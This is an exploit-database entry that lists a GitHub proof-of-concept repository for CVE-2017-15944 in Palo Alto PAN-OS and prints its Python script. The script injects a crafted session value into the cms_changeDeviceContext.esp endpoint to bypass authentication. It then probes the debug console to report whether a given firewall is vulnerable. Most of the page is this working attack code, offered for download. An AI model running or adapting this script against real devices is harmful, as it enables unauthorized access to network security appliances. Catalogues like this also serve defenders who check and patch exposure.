Exploit database

GH-03110706a84f792e5c3452fe6641a668

xxnbyy/cve-2017-15944-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2017-15944

6 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
xxnbyy/cve-2017-15944-pocRevision 58f81d9bbfea

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

panos-poc.py

Python · 782 bytes
import requests
import sys

if len(sys.argv) > 1:
    target = sys.argv[1]

    create_session_url = '{}/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";'.format(
        target)
    verify_url = '{}/php/utils/debug.php'.format(target)

    session = requests.Session()
    if 'https' in target:
        session.get(verify_url, verify=False)
        session.get(create_session_url, verify=False)
        verify = session.get(verify_url, verify=False)
    else:
        session.get(verify_url)
        session.get(create_session_url)
        verify = session.get(verify_url)

    if 'Debug Console' in verify.text:
        print('{} is vul'.format(target))
    else:
        print('{} is not vul'.format(target))
else:
    print('Usage: python panos-poc.py panurl')